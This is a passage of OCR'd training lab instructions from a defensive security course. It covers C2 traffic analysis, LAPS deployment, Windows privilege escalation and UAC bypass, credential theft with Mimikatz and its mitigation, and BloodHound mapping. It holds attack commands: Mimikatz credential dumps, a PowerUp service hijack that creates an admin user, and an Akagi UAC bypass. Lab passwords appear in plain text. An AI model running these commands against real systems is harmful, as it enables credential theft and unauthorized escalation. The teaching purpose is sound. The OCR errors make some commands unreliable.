grep 72a589da586844d7f0818ce684948eea
root@ubuntu03:/opt/ja3/python# cat ../lists/osx-nix-ja3.csv |
grep 8916410db85077a5460817142dcbc8de

This will not return any results. This is to be expected, as these are "known good" lists
made available by JA3. Please however google the above fingerprints,

which immediately should return a few results. One of them being a tweet by John B
Althouse (one of the JA3 developers), describing a JA3 fingerprint to detect
Meterpreter on Windows 10! Excellent! If you wouldn't have Internet access, please
refer to the screenshot attached.

In a real life scenario, you could also use these fingerprints to cross-check with
intelligence databases, as JA3 fingerprints are gaining traction and are often included
as I0Cs to detect known malware samples.



26. Run Bro against empire.pcap

Let's now try diggingg a bit deeper on the empire.pcap file! We will
now use Bro against empire.pcap to analyze its contents. We can do this by running
the following commands:

root@ubuntu03:/opt/ja3/python# cd /home/alanmarshall
root@ubuntu03:~# mkdir bro-empire

root@ubuntu03:~# cd bro-empire

root@ubuntu03:~/bro-empire# /usr/local/bro/bin/bro -C -r ../empire.pcap local
"Site::local_nets += { 192.168.10.0/24 }"

root@ubuntu03:~/bro-empire# Is

This will generate a humber of interesting .log files (which are listed by the "Is"
command). We can now analyze them manually or feed them to a tool like RITA.

27. Analyze bro logs using RITA



We can now analyze the generated bro logs with Rita, by first running the import
command to import the logs in Bro and afterwards analyze them. We will first
however have to start our mongodb:

root@ubuntu03:~/bro-empire# rita import /home/alanmarshall/bro-empire
empire

root@ubuntu03:~/bro-empire# rita analyze

root@ubuntu03:~ /bro-empire# rita html-report

28. Switch back to WinSCP and copy the rita report

Now, let's switch back to the WinSCP folder we still have opened. Let's take the
following steps:

o In the left-hand folder, please click the "Up" directory and go into the Desktop
folder

o In the right-hand side of the window, please open the "bro-empire" folder

o Drag and drop the "empire" sub-folder to the Desktop window on the left-hand
side



29. Open the RITA report

Please minimize all open Windows and open the "empire" folder on the Windows
desktop. In this folder, please double-click the "index.html" page, which contains our
RITA report!

The RITA report will list all available databases, which for us only include the "empire"
DB. You can select it by double-clicking the entry.

30. Analyze the RITA report

As you walk through the report, you might notice that a lot of the results are not filled
out... We can however see some interesting results in the "User Agents" tab of the



31.

32.

report, where you'll notice some results in the "Long URLs" and "User Agents" section.
In the Long URLs, we can clearly see the repeated connections towards the pages
that were described in the Empire listener configuration (e.g. "/login/process.php",

"/admin/get.php", "/news.php").

It's important to remember that Bro attempts to find beacons, which are consistent
packets that are being sent on a normally much more busy network. In our test case,
you'll notice that the analysis is rather limited and the beacons are not picked up
automatically by Bro.

In production environments with more traffic, Bro's detection engine is a lot more
effective. To compare our results with some sample PCAP's with additional data,
please refer to the Bonus section of this lab!

Bonus - Analyze RITA PCAP files

If you have time left, please feel free to try some sample PCAP files that were created
by Black Hills Info Security (they developed RITA)! You can find them in the "/home
/alanmarshall/rita-samples/" folder of the Ubuntu03 machine (192.168.30.16). They
include different kinds of C&C channels, including a DNS tunnel, a Meterpreter session
and an Empire agent.

Walk through the Bro & RITA analysis steps again and observe how these C&C
channels are detected! Note that a different network layout was used and for these
examples, the 10.0.0.0/8 subnet was the internal network. This means that your bro
command should like this:

bro -C -r <PCAP FILE> local "Site::local_nets += { 10.0.0.0/8 }"

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how network traffic can be analysed for Command & Control traffic. We
observed how effective pure IDS rules can be, but also how Bro (Zeek), JA3 and RITA



can be used! If you have time left, feel free to attempt the bonus section of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-4.1: Exercise - Implementing LAPS

Objective

The objective of the lab is to harden our Windows environment by implementing LAPS (Local
Administrator Password Solution). We will first illustrate an attack where local admin
passwords are stolen and reused, after which we will harden our environment.

High-level exercise steps:

1.
2.
3.
4.

Use Mimikatz to dump local Administrator password from first workstation
Reuse local Administrator password against second workstation
Implement LAPS on workstations

Review LAPS configuration & settings

Scenario

Virtual Machines

i A=

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Kali

SEC599-E01 - Windows01
SEC599-E01 - Windows02

SEC599-4.1

1.

Authenticate to Windows workstation
We will start of our lab by authenticating to our Windows02 workstation!
o Username: alan.marshall

o Password: Awesomesaucel23

Open elevated command prompt

We will first simulate an attacker that has obtained local administrative access and
now wants to re-use these credentials against other machines. To do so, please open
an elevated command prompt. We can achieve this by:

o

Right-clicking the command prompt icon in the taskbar

o

Right-clicking "Command Prompt"

o

Selecting "Run as administrator"

o

You can provide the following credentials:



m Username: alan.marshall.adm
m Password: Securlty

In the command prompt, please navigate to the C:\Users\alan.marshall\Desktop
directory by entering the following command:

C:\WINDOWS\system32\> cd C:\Users\alan.marshall\Desktop

3. Steal local credentials with Mimikatz

Next up, we will launch Mimikatz and dump local credentials from the SAM database!
You can do this by running the following commands:

C:\Users\alan.marshall\Desktop\> cd Red Team
C:\Users\alan.marshall\Desktop\Red Team> cd "Mimikatz - 2.1.1"
C:\Users\alan.marshall\Desktop\Red Team\Mimikatz 2.1.1> cd x64
C:\Users\alan.marshall\Desktop\Red Team\Mimikatz

2.1.1\x64> mimikatz.exe

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # sekurlsa::logonPasswords

This will result in all hashes for the locally configured users (so NOT domain users)



4. Copy "Administrator" user password

The previous command will return a lot of information. We will discuss how Mimikatz
works in-depth later, but for now, please find the user "Administrator", with the
password "SYNCTECHLoc@I!". You can refer to the screenshot attached for the
password we are looking for!

5. Open Remote Desktop

We will now attempt to re-use the password agains the Windows01 machine. We can
do so by launcing the Remote Desktop client. Please click the "Start" button in
Windows 10 and type the "mstsc". Please click the "mstsc" icon subsequently. Do NOT
click the "Remote Desktop - Trusted Microsoft Store app".






6. Configure Remote Desktop

Please configure "WINDOWSO01" as the computer to connect to. We will use the
following credentials:

Username: WINDOWSO01\Administrator
Password: SYNCTECHLoc@!I!

Once the credentials are provided, you will receive a message "Securing connection”
for +- 30 seconds to 1 minute. You will then be asked to accept the certificate for
Windows01. Please confirm!

In the Remote Desktop window, please again confirm you want to take over the
session of the currently signed in user (click YES).

7. Switch to Windows01 machine

Let's switch to our Windows01 machine and allow the "Administrator" user to take
over the system (click OK)... It clearly appears that the local administrator password is
being re-used on the Windows01 and Windows02 workstations...

So how do we protect against this type of attack?!



8. Switch to domain controller

LAPS (Local Administrator Password Solution) provides a solution! Let's switch to our
domain controller to deploy it. You can authenticate using the following credentials:

o Username: Administrator

o Password: Synct3chlabs

9. Launch LAPS installer

We have already downloaded the LAPS installer to the SYSVOL directory of the
domain controller. Click the SYSVOL shortcut, open the LAPS directory and run the
LAPS installer (msi file).

You can walk through the initial steps of the installer, but in the "Custom Setup"
window, please adapt the installation to be:

-Do not install the "AdmPwd GPO Extension" (this is only for machines on which LAPS
will adapt the password
-Install all of the Management Tools

This is actually the "inverse" of the default configuration! The desired configuration
state is displayed in the screenshot attached. Once configured, click "Next" and



"Install".

10. Prepare the Active Directory Schema

As indicated during the course, LAPS stores the local admin password as part of the
AD schema. We will thus need to prepare the AD for storing our local admin
passwords. Let's open a PowerShell window (you can click the PowerShell icon in the
task bar)!

In the PowerShell window, please execute the following commands:

PS C:\Users\Administrator> Import-Module AdmPwd.PS

PS C:\Users\Administrator> Update-AdmPwdADSchema

PS C:\Users\Administrator> Set-AdmPwdComputerSelfPermission -OrgUnit
"OU=Workstations, DC=synctechlabs,DC=com"

These commands will create the required structure, but also ensure the right
permissions are set to prevent all domain users from being able to read the object. In
more detail, it will ensure that the Workstations are able to write to the value (to
update the password).



11.

12.

Check privileges on the object

As already discussed, LAPS has a risk of badly configuring the permissions on the
fields used to store the passwords. If you would like to validate what users have read
access to the passwords, you can use the following PowerShell commands:

PS C:\Users\Administrator> Find-AdmPwdExtendedRights
-identity:"OU=Workstations,DC=synctechlabs,DC=com" | Format-Table
ExtendedRightHolders

On our system, this should show that only "NT Authority\SYSTEM" and the "Domain
Admins" have access, which is acceptable! In a real-life scenario where LAPS is
deployed on all corporate workstations, one could for example provide access to the
helpdesk users as well.

Install LAPS on Windows02 workstation

We will now switch back to the Windows workstation and install LAPS there as well. In
a Windows explorer window, please open the following network location:

\\dc\SYSVOL\synctechlabs.com\LAPS

Double-click the LAPS.x64.msi installer file and follow the setup instructions. In the
"Custom Setup" window, please ensure that the following items are configured to "Will
be installed on local hard drive":

o AdmPwd GPO Extension

o Management Tools



m Fat client UI
m PowerShell module

Please see the screenshot for the desired configuration! Once you click "install", you
will be asked for administrative credentials, you can provide the following:

o Username: alan.marshall.dadm

o Password: Securlty!

13. Switch to Domain Controller

Now that LAPS has been installed, we will configure it centrally using group policies.
Please switch back to the domain controller! Should you be requested for credentials,
remember to use the following:

o Username: Administrator

o Password: Synct3chlabs

14. Create "Configure LAPS" GPO

In the "Server Manager", please click "Tools" -> "Group Policy Management". In the
GPO view, please open the following location:



"Group Policy Management" -> "Forest: synctechlabs.com" -> "Domains" ->
"synctechlabs.com" -> "Group Policy Objects"

In the window on the right, please right-click and select "New", we will name this GPO
"Configure LAPS".

15. Open Local Group Policy Editor

As a next step, please right-click the "Configure LAPS" entry and select "Edit". In the
Group Policy Management Editor, please open the "Computer Configuration" ->
"Policies" -> "Administrative Templates" -> "LAPS" folder.



16. Configure LAPS
In the LAPS group policy folder, we will make the following changes:

o Double-click the "Password Settings" entry, select "Enabled" and "OK" (the
default complexity settings are acceptable)

o Double-click the "Enable local admin password management", select "Enabled"
and "OK" (to enable LAPS)

Once completed, feel free to close the Local Group Policy Editor window.



17. Link "Configure LAPS" GPO to Workstations OU

We will now link the "Configure LAPS" GPO to the Workstations OU as well. You
should know the steps by heart by now, but just in case:

o Right-click the "Workstations" OU in the "Group Policy Management" view
o Select "Link an existing GPO..."
o Select the "Configure LAPS" GPO



18.

19.

Refresh group policy on Windows02

Let's switch to our Windows02 workstation. If credentials are requested, please
provide the following:

o Username: alan.marshall
o Password: Awesomesaucel23

Please open a command line prompt and refresh the group policy:

C:\Users\alan.marshall> gpupdate /force

Review passwords for Windows01 and Windows02

Now let's switch back to our Domain Controller to see if passwords are indeed being
randomly generated by LAPS. On the Domain Controller, please open an explorer
window and browse the following directory:

C:\Program Files\LAPS\
In the LAPS directory, you'll find the "AdmPwd.UIL.exe" utility, which is the GUI

application to retrieve LAPS-generated passwords. You can double-click it to open it.
In the interface, please enter "Windows02" as the ComputerName and select



"Search".

This will review the current password and the expiry date. When you search for
"Windows01", you will receive an empty value, as the machine was not yet rebooted
and thus hasn't installed / configured LAPS.

20. Bonus - LAPS finetuning

You have completed the base section of the lab. If you have time left, here are two
additional bonus challenges:

o Can you deploy on WINDOWSO01 as well (straight-forward)?

o Run the LAPS UI (C:\Program Files\LAPS) from the WINDOWSO02 workstation
and try reading the WINDOWSO02 password. You may notice that this doesn't
work. Remember that the permissions on the AD object are set to only be
available to Domain Admins... Imagine that Alan Marshall is a helpdesk user
that needs to be able to run the LAPS User Interface from his workstation to
perform his support actions. Can you finetune the AD object permissions to
allow for this?

21. Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how LAPS can be deployed and configured on our lab workstations. We



observed how it can be installed and afterwards configured centrally using GPO's. If
you have time left, feel free to attempt the bonus section of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-4.2: Exercise - Local privilege escalation techniques
Objective
The detailed steps in the lab include:

e Test our Windows environment for local privilege escalation flaws using beroot.exe &
PowerUp.psl1.

e Analyze results & exploit vulnerability
e Fix identified issue
e Bypass UAC using UACME

Scenario

Virtual Machines

1. SEC599-EQ1 - DomainController
2. SEC599-E01 - Firewall
3. SEC599-E01 - Windows02

Exercise 1 : SEC599-4.2

1. Logon to Windows
Logon to our Windows workstation with our user credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

2. Run BeRoot.exe

The first tool we will use to test for privilege escalation issues is BeRoot.exe. You can
run BeRoot.exe in the following way:

o Open a command prompt

o Change directory to C:\Users\alan.marshall\Desktop\Red Team\Privilege
Escalation

o Run beRoot.exe

3. Review BeRoot's results

BeRoot.exe provides immediate feedback and will show you a number of possible
privilege escalation issues. It will identify an unquoted service path issue with a
service called "VulnerableService":



The path of the service is C:\escalate\Executable Folder\Service.exe, but the binary
path of the service does not include any quotes!

4. Run PowerUp.ps1

Next up, let's try the Powershell "PowerUp.ps1" script! The advantage for an
adversary is that this is a pure powershell script and has thus better chances of
running as opposed to the BeRoot.exe binary (e.g. due to application whitelisting
issues).

Please open a PowerShell prompt and run the following commands:

PS C:\Users\alan.marshall> cd "C:\Users\alan.marshall\Desktop\Red
Team\Privilege Escalation"

PS C:\Users\alan.marshall\Desktop\Red Team\Privilege

Escalation> Import-Module .\PowerUp.ps1

PS C:\Users\alan.marshall\Desktop\Red Team\Privilege Escalation>
Invoke-Allchecks

This command will take a few seconds, as PowerUp.ps1 will now perform all its
privilege escalation checks.



5. Review PowerUp results

PowerUp should come back with a few possibly interesting results:

o The unquoted service path for service "VulnerableService" (as identified by
BeRoot.exe)

o A number of possible DLL hijacking vulnerability in the %PATH% directory.
o A number of vulnerabilities related to service executables & permissions.

After some testing by the authors, we determined that the DLL hijacking vulnerability
and service-related vulnerabilities are not exploitable in the current configuration of
the system (if you have time left, feel free to try to prove us otherwise :))

6. Exploiting the issue using PowerUp

PowerUp provides a handy way of also abusing identified vulnerabilities. If you review
the entries reported by PowerUp, you will notice that it includes an "AbuseFunction",
which provides an easy copy/paste syntax to attempt exploitation of identified issues.

Let's try this for the VulnerableService! Please scroll up to the first few results
reported by PowerShell and copy the "AbuseFunction" that is reported. This should
be:

Write-ServiceBinary -Name 'VulnerableService' -Path <HijackPath>

Please select this entire syntax and copy it (press ENTER once selected)!



7. Adapt the "HijackPath"

Please paste the "AbuseFunction" that was just copied in the PowerShell prompt, but
adapt the "Path" parameter:

PS C:\Users\alan.marshall\Desktop\Red Team\Privilege Escalation> Write-
ServiceBinary -Name 'VulnerableService' -Path C:\escalate\Executable.exe

Note that we are abusing the unquoted service path issue that was explained during
the course. As the actual service executable is located in the "C:\escalate\Executable
Folder" and there are no spaces around the full path, Windows will attempt to execute
"C:\escalate\Executable"! The above PowerUp command will write a malicious
executable in this specific location!

As a result of running the "AbuseFunction”, you will notice that the executable written
by Powershell will create a user called john with a password of "Password123!".
Afterwards, this user will be added to the local administrator group.



8.

10.

11.

Reboot the computer

Once the PowerShell abuse function is ran, please verify that the C:\escalate
\Executable.exe file exists. If it does, we now need to restart the service, so the
executable gets run as NT AUTHORITY\SYSTEM.

As this is an auto-start service the solution is rather straightforward: reboot the
system!
Logon to Windows
Logon to our Windows workstation with our user credentials:
o Username: alan.marshall

o Password: Awesomesaucel23

Confirm user was added

Let's confirm that the user "john" was indeed created and added to the local
administrator group. We can do so by running the following commands in a command
prompt:

C:\Users\alan.marshall> net users
C:\Users\alan.marshall> net localgroup Administrators

Review the "VulnerableService" in services view

In the same command prompt, let's open the services.msc view:
C:\Users\alan.marshall> services.msc
In the services list, please scroll to the "VulnerableService" entry and double-click it.

You will see the details linked to the VulnerableService and will indeed notice that the
"Path to executable" does not have quotes around it...



12.

13.

Let's fix this!

Fixing the issue - Opening elevated command prompt

The fix for this issue is rather straight-forward: add double quotes around the binary
path. This can be achieved by opening an administrative command prompt (right-click
command prompt icon, right-click command prompt and select "Run as
Administrator...". You can provide the following credentials:

o Username: alan.marshall.adm

o Password: Securlty

Fixing the issue - Adapt service binary path

In the elevated command prompt, let's adapt the binary path to the service using the
following command:

C:\Windows\system32\>sc config VulnerableService binpath="\"C:\escalate
\Executable Folder\service.exe\""

As you might notice, we are now adding double quotes around the binpath parameter
(backslash used as an escape character), hereby explicitly mentioning the executable
that is to be launched when the service is started.



14. Refresh service in services overview

Let's switch back to the services view (services.msc) and refresh the overall list.
Please re-open the "VulnerableService", which should now include quotes around the
binary path. If you have time left, please feel free to retry running the BeRoot.exe and
PowerUp.ps1 scripts to confirm our fix!

15. Bypass UAC using UACME

The last step finished the first part of the lab, where an adversary attempts to obtain
local administrative permissions. Now, how effective is UAC?

We discussed UAC during the lecture section of the class! As a first step, please log
out of your Windows session and re-authenticate using the following credentials:

o Username: alan.marshall.adm

o Password: Securlty

This is an account with local administrative privileges, which is however protected by



16.

17.

default Windows 10 UAC controls.

Open a standard command prompt

Once authenticated, please open a normal command prompt by clicking the "Start"
icon and typing "cmd". Note that we will NOT OPEN AN ELEVATED COMMAND
PROMPT, as we want to highlight how UAC settings can be bypassed.

To ensure the command prompt is indeed not elevated, you can run the following
command:

C:\Users\alan.marshall.adm> wevtutil gl SECURITY

This simple command will attempt to read Windows event logs from the SECURITY
folder, which is not allowed by normal users. You should thus receive an Access
Denied error.

Read UACME REAMD.md

Please minimize the command line prompt and open the UACME folder on the
Desktop, right-click the README.md file and select "Edit with Notepad++".

We will not edit the file, but this is an easy way of reviewing the different UAC
methods. You will see that 40+ are available and that many of them work on
Windows 10!

We will need to remember the number of a UAC bypass method, as we will need to
specifiy them when we run the command in the next step. A typical method that
should work on your Windows 10 system is "30", although feel free to experiment :)



18. Try bypassing UAC

Let's switch back to the command prompt and try to actively escalate our privileges!
We can achieve this by running the following commands:

C:\Users\alan.marshall> cd Desktop\UACME
C:\Users\alan.marshall\Desktop\UACME> Akagi.exe 34

The "Akagi.exe" is used to attempt UAC bypass methods. The "34" argument is the
UAC bypass technique we want to test. By default, UACME will open a command
prompt with elevated privileges when successful!

You should see that a new command prompt is opened with local admin privileges.
We can confirm this by rerunning the previously denied command:

C:\Windows\system32> wevtutil gl SECURITY

We have successfully bypassed the default UAC settings in Windows 10!



19.

20.

Bonus - UAC High
Once you have finished all above steps, here's a bonus challenge if you have
additional time:

o Adapt the UAC settings in Windows 10 to "Always notify" (Click "Start" -> type
"uac" -> Click "Change User Account Control Settings")

o Check whether UACME is still effective against this UAC setting

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how local privilege escalation techniques can be detected and exploited
using beRoot and PowerUp. We also analyzed how default UAC (User Account Control)
settings can be bypassed. If you have time left, feel free to attempt the bonus section
of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-4.3: Exercise - Hardening Windows against credential
compromise

Objective

Throughout the exercise, we will complete the following steps:

e Stealing credentials from the cache & memory

e Disabling cached credentials in Windows

e Enabling enterprise guard throughout the environment
e Confirming the fixes, we've added to our environment

e Bonus: Try implementing other controls (e.g. Protected processes, Domain Protected
Users, Remote Credential Guard,...)

Scenario

Virtual Machines

1. SEC599-EQ01 - DomainController
2. SEC599-E01 - Firewall
3. SEC599-E01 - Windows02

Exercise 1 : SEC599-4.3

1. Logon to Windows workstation

As before, we will authenticate to the Windows workstation using the following
credentials:

Username: alan.marshall
Password: Awesomesaucel23



2. Open a command prompt with elevated privileges

We will launch a command prompt with elevated privileges, which we can achieve in
the following way:

o Right click the command prompt icon in the taskbar
o Right click "Command Prompt"
o Select "Run as Administrator"

o You can provide the following credentials:

m Username: alan.marshall.adm

m Password: Securlty

3. Browse to the Mimikatz directory

Once the command prompt is launched, please navigate to the Mimikatz directory
under the "Red Team" directory on the desktop:

C:\WINDOWS\system32> cd C:\Users\alan.marshall\Desktop\Red Team\Mimikatz
- 2.1.1\x64

4. Attack 1 - Stealing cached credentials

Next step, we will attempt to dump cached credentials from the Windows machine.
These cached credentials are used in the event that the workstation cannot connect
back to the domain controller to validate credentials. We can achieve this using the
following commands:

C:\Users\alan.marshall\Desktop\Red Team\Mimikatz -
2.1.1\x64> Mimikatz.exe

mimikatz # privilege: :debug

mimikatz # token::elevate

mimikatz # /sadump::cache

The result of this command should reveal that the following credentials are in the
cache:

o SYNCTECHLABS\alan.marshall

o SYNCTECHLABS\alan.marshall.adm



o SYNCTECHLABS\Administrator

This is the expected behavior for a Windows workstation (store the cached credentials
of the last 10 authenticated users). Note that these are not LM or NTLM hashes, so
they cannot be reused in a Pass-the-Hash attack. They can however be of use for an
attacker in an attempt to crack them offline.

5. Attack 1 - Switch to the domain controller

Now, let's disable the caching of domain credentials at enterprise level using GPO's.

As a first step, let's authenticate to the domain controller using the following
credentials:

o Username: Administrator
o Password: Synct3chlabs

In the "Server Manager" that pops up, click "Tools" and open the "Group Policy
Management" window.



6. Attack 1 - Create new GPO to clear cache

In the "Group Policy Objects" window, please right-click in the right side of the
window and click "New". We will call this GPO "Clear Cached Credentials".

Once created, please right-click the "Clear Cached Credentials" GPO and select "Edit".

7. Attack 1 - Open the group policy menu
As a next step, open the following menu:

Computer Configuration -> Policies -> Windows Settings -> Security Settings -> Local



Policies -> Security Options
In this view, please find the following policy entry:

"Interactive logon: Number of previous logons to cache (in case domain controller is
not available)"

8. Attack 1 - Configure the policy setting

We will now open the policy setting (double-click) and configure it to "2", which will
limit the number of cached credentials to 2 (see screenshot).

Once configured, please click "OK", close the "Group Policy Management Editor" and
link the GPO to our Workstations. This can be achieved by right-clicking
"Workstations" entry, selecting "Link an existing GPO..." and selecting the "Clear
Cached Credentials" GPO.



9. Attack 1 - Switch to Windows workstation

Next, we will switch back to our Windows workstation, where we will open a new
command prompt and execute the following command:

C:\Users\alan.marshall> gpupdate

This will refresh the Group Policy, thereby limiting the number of cached credentials to
2. Any additional cached credentials will be erased.

10. Attack 1 - Confirm fix using Mimikatz

Finally, we will again attempt to dump cached credentials from the Windows machine.



If you still have the previous Mimikatz window open, please go back and run the
following command again:

mimikatz # Isadump::cache

If the Mimikatz window was already closed, please refer to steps 2 to 4 of this lab, to
re-run the Mimikatz commands.

The result of the "Isadump::cache" command should now reveal only 2 cached
domain credentials, alan.marshall and alan.marshall.adm (the third one for
"Administrator" was erased).

11. Attack 2 - Dumping credentials from memory

Let's move forward to another credential stealing technique: dumping credentials from
memory. Still in the Mimikatz window, please run the following command:

mimikatz # sekurlsa::logonPasswords

The output of the above command will be quite large, but when carefully scrolling,
you should find that the clear-text (!) credentials of some accounts are present
(SYNCTECHLABS\alan.marshall, SYNCTECHLABS\alan.marshall.adm,
WINDOWSO02\Administrator,...). See the screenshot attached for the expected output.



12. Attack 2 - Attempt Credential Guard configuration

We will now attempt to configure Credential Guard locally. Microsoft has provided a
handy "readiness" script that can be used to check all Device Guard prerequisites. We
will use it!

Right-click the PowerShell icon in the taskbar and click "Run as Administrator". You
can use the following credentials:

o Username: alan.marshall.adm

o Password: Securlty
Next up, please run the following commands:
PS C:\WINDOWS\system32> cd "C:\Users\alan.marshall\Desktop\Blue Team\DG
Readiness"

PS C:\Users\alan.marshall\Desktop\Blue Team\DG Readiness>
.\DG_Readiness_Tool_v3.6.ps1 -Capable

Please confirm that we want to run the tool by pressing <R> and <ENTER>.

The "-Capable" flag checks all of the Device Guard prerequisites (both software and
hardware). The output of the tool should tell you that a partial check was performed,
but that a manual reboot is required to continue. Please perform a manual reboot of
the system!



13. Attack 2 - Continue Credential Guard check

Once the system has rebooted, please authenticate to the machine using the following
credentials:

o Username: alan.marshall
o Password: Awesomesaucel23

After authentication, right-click the PowerShell icon in the taskbar and click "Run as
Administrator". You can use the following credentials:

o Username: alan.marshall.adm

o Password: Securlty
Next up, please run the following commands:
PS C:\WINDOWS\system32> cd "C:\Users\alan.marshall\Desktop\Blue Team\DG
Readiness"

PS C:\Users\alan.marshall\Desktop\Blue Team\DG Readiness>
.\DG_Readiness_Tool_v3.6.ps1 -Capable

Please confirm that we want to run the tool by pressing <R> and <ENTER>.

The Readiness tool will now continue and provide feedback on whether or not the



machine supports CredentialGuard. In our lab environment unfortunately, we don't
have Secure Boot available (due to the server setup and layered virtualization), hence
Device Guard cannot be enabled...

14. Attack 2 - Alternative fix - LSA Protection

Let's implement the "RunAsPPL" protection for LSASS (which is supported as of
Windows 8.1). This is a setting that can be configured in the Windows registry. Please
right-click the regedit icon in the taskbar, right-click "Registry Editor" again and click
"Run as Administrator". You can use the following credentials:

o Username: alan.marshall.adm
o Password: Securlty

In the Registry Editor, please open the following registry location:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa



15. Attack 2 - Alternative fix - Create registry key

In the "Lsa" registry view, please create the "RunAsPPL" DWORD with a value of "1".
Take the following steps to achieve this:

o Right-click an empty space in the right-side of the Registry Editor window
o Select New -> DWORD (32-bit) value

o Create the new value with the name "RunAsPPL"

o Double-click the new value

o Change "Value data" to 1

o Click OK



16. Attack 2 - Reboot Windows02 workstation

When you have finished creating the registry key, please reboot the Windows02
workstation.

17. Attack 2 - Confirm fix using Mimikatz

To confirm our fix, we will run Mimikatz again:

o Right click the command prompt icon in the taskbar

o

Right click "Command Prompt"

Select "Run as Administrator"

o

o

You can provide the following credentials:

m Username: alan.marshall.adm

m Password: Securlty

o

Inside the command prompt, navigate to the "C:\Users\alan.marshall
\Desktop\Red Team\Mimikatz - 2.1.1\x64\" directory

We will again run Mimikatz to dump all credentials in memory:

C:\Users\alan.marshall\Desktop\Red Team\Mimikatz -
2.1.1\x64\ Mimikatz.exe
mimikatz # privilege: :debug



18.

19.

mimikatz # sekurlsa::logonPasswords

You should see some output indicating that Mimikatz can't seem to interact with
LSASS! This is of course not a waterproof fix, as we discussed a work-around for this
during the course! It will however raise the bar and force an adversary to use a
bypass technique that will make more noise in the environment (which we could thus
detect)!

Bonus - Additional controls

If you have time left, please try implementing some additional controls that were
discussed throughout the course:

o Bypass the "LSA Protection" we implemented

o Defining the administrative users (alan.marshall.adm, alan.marshall.dadm,
Administrator) as "Protected Users"

o Configure "Restricted Admin" or "Remote Credential Guard"

As always, feel free to reach out to the Instructor with any questions or remarks you
may have!

Lab Conclusion

Congratulations, you have successfully completed the lab! The goal of the lab was to
illustrate how credentials are stolen from Windows machines once an adversary has
obtained local administrative access. We analyzed how Mimikatz effectively steals
credentials from memory and how it can be defended against (limiting cached
credentials, implementing Credential Guard (when possible) or LSASS protection). If
you have time left, feel free to attempt the bonus section of this lab.

ATTENTION: Finishing this step will close your lab!



SEC599-4.4: Exercise - Mapping attack paths using BloodHound
Objective
Scenario

Virtual Machines

SEC599-E01 - DomainController
SEC599-E01 - Firewall
SEC599-E01 - Ubuntu03
SEC599-E01 - Kali

SEC599-E01 - Windows01
SEC599-E01 - Windows02

o v bk W=

SEC599-4.4

1. Switch user on Windows01 workstation

As a first step, we will "plant" a domain admin session in our environment. We will
authenticate using the "alan.marshall.dadm" domain administrator account on the
WINDOWSO01 workstation.

In order to do, please click the "Start" Windows button, click the grey user icon and
select "Switch account".






2. Authenticate as alan.marshall.dadm

In the Windows login screen, please select "Other user" and enter the following
credentials:

o Username: alan.marshall.dadm
o Password: Securlty!

Once the login has been completed, please switch to the Windows02 workstation.

3. Authenticate to Windows02 workstation

Once the session has been opened on Windows01, please switch to the WINDOWSO02
workstation and authenticate using the following credentials:

o Username: alan.marshall

o Password: Awesomesaucel23

4. Run BloodHound ingestor

We will first collect data that can be mapped by BloodHound. We will rely on one of
BloodHound's "ingestors" to achieve this. We have added a PowerShell version and
native Windows executable on the Windows workstation. The BloodHound ingestor
can run without local admin credentials (where it will only fetch network sessions, but
not locally authenticated sessions). or with local admin credentials (where it can
enumerate more information). We will opt to run BloodHound with local admin



credentials for this specific exercise.

Right-click the PowerShell icon in the task bar and click "Run as Administrator". You
can use the following credentials (this is a local Workstation Administrator account,
which thus has administrative access to WINDOWS01 and WINDOWSO02):

o Username: alan.marshall.adm
o Password: Securlty

In the PowerShell window, please execute the following commands:

PS C:\WINDOWS\system32Il> cd "C:\Users\alan.marshall\Desktop\Red
Team\BloodHound"

PS C:\Users\alan.marshall\Desktop\Red Team\BloodHound> Import-Module
\SharpHound.ps1

PS C:\Users\alan.marshall\Desktop\Red Team\BloodHound> Invoke-
BloodHound all

PS C:\Users\alan.marshall\Desktop\Red Team\BloodHound> Invoke-
BloodHound -CollectionMethod LoggedOn

We run BloodHound a second time using the "-CollectionMethod LoggedOn" option to
also collect all local console access. Interestingly enough, the "all" option does not use
all collection methods... Refer to the BloodHound documentation for more
information!

Note that these commands will only run a few seconds on our very small lab
environment. In a large enterprise environment, these commands might take hours to
complete!

5. Open WiInSCP session to Kali Linux machine

Let's upload the generated BloodHound zip archives to our Kali Linux machine (where
BloodHound is installed). Please open WinSCP.exe on the Desktop and connect to the



following system:
o Hostname: 10.10.10.15
o Username: root
o Password: Awesomesaucel23

Please refer to the screenshot for the expected authentication information.

6. Upload BloodHound data to Kali Linux machine

In the WinSCP window, please navigate to the following folder in the left-hand
window:

C:\Users\alan.marshall\Desktop\Red Team\BloodHound\

There is no need to change the folder location of the right-hand window. Please copy
/ paste or drag & drop the two BloodHound zip archives to the right-hand window.
Note that the actual name of the archive will be different for you (SharpHound will
generate a filename including the current date).



7. Switch to Kali Linux machine

As a next step, we will process the obtained data in BloodHound. Please switch to the
Kali Linux machine and authenticate using the following credentials:

o Username: root
o Password: Awesomesaucel23

After authentication, please open a command prompt (3d window in the menu bar to
the left).

8. Launching BloodHound

In the Kali command prompt, please enter the following command to start
BloodHound:

root@kali:~# bloodhound

You will be presented with a login prompt, but unable to continue as the back-end
neo4j database hasn't been started yet. Please minimize the BloodHound window (do
not close it), open a new command prompt and run the following command:

root@kali:~# neo4j start

Once neo4j has been started, wait +- 30 seconds and switch back to the BloodHound
window.



9. Authenticate to BloodHound
In the BloodHound window, please click the "Database URL" field and press tab,
which will refresh the status of the database (you should see a green check box
appearing).
Please use the following credentials:

o DB Username: neo4j

o DB Password: Awesomesaucel23



10. Upload data to BloodHound

In the BloodHound window, please click the "Upload Data" (4th icon in the right-hand
menu). In the explorer window that appears, please navigate to the /root/ directory
and select one of the BloodHound ZIP archives you previously copied using WinSCP.
Repeat this step to also include the second ZIP archive.

11. Check Database information

When all data is successfully uploaded to BloodHound, please click the "list" icon in
the left-hand side of the BloodHound window. This will open a subwindow, which
includes some base statistics on the current BloodHound database:

o Number of computers

o Number of users / groups

o

Number of active sessions



12. Running a sample query

Let's try a simple query in BloodHound! In the window you opened in the previous
